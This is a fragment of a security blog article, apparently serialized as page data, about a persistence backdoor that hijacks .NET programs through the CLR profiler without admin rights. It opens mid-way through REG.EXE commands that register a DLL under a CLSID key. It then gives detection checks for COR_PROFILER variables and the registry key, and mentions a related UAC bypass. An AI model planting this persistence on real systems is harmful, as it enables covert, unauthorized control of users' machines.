\"%CD%\\msg.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Capable of hijacking both 32-bit and 64-bit .Net programs separately, complete test as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017487041_7_b8d488645f-1.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>More code details can be found on GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x05 Backdoor Detection\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Based on the exploitation method, the detection approach is as follows:\u003C\u002Fp>\u003Cul>\u003Cli>Check environment variables COR_ENABLE_PROFILING and COR_PROFILER\u003C\u002Fli>\u003Cli>Check registry key value HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces a backdoor that hijacks .Net programs via CLR, characterized by requiring no administrator privileges and being able to hijack all .Net programs. More importantly, the system defaults to calling .Net programs, causing the backdoor to trigger automatically.\u003C\u002Fp>\u003Ch2>0x07 Supplement (20171023)\u003C\u002Fh2>\u003Cp>Stefan Kanthak discovered this exploitation method and disclosed it earlier than I did. The address is as follows:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fseclists.org\u002Ffulldisclosure\u002F2017\u002FJul\u002F11\u003C\u002Fp>\u003Cp>Moreover, he also achieved UAC bypass using CLR (I later learned this approach from clem@clavoillotte's blog). I have researched this method and written a study summary, with the address as follows:\u003C\u002Fp>\u003Cp>《Use CLR to bypass UAC》\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",818,"Onedaysec",5,"published","2026-02-02T07:38:21.453Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"CLR Backdoor Persistence Without Admin Privileges","CLR persistence, .NET backdoor, hijack .NET programs, CLR backdoor development, POC, backdoor detection",null,false,[],{"docs":43,"hasNextPage":40},[4,44,45,46],674,673,672,{"title":39,"description":39,"image":39},"2026-07-24T15:37:11.948Z","2026-07-23T16:01:56.602Z","draft","2026-07-23T16:14:07.661Z"]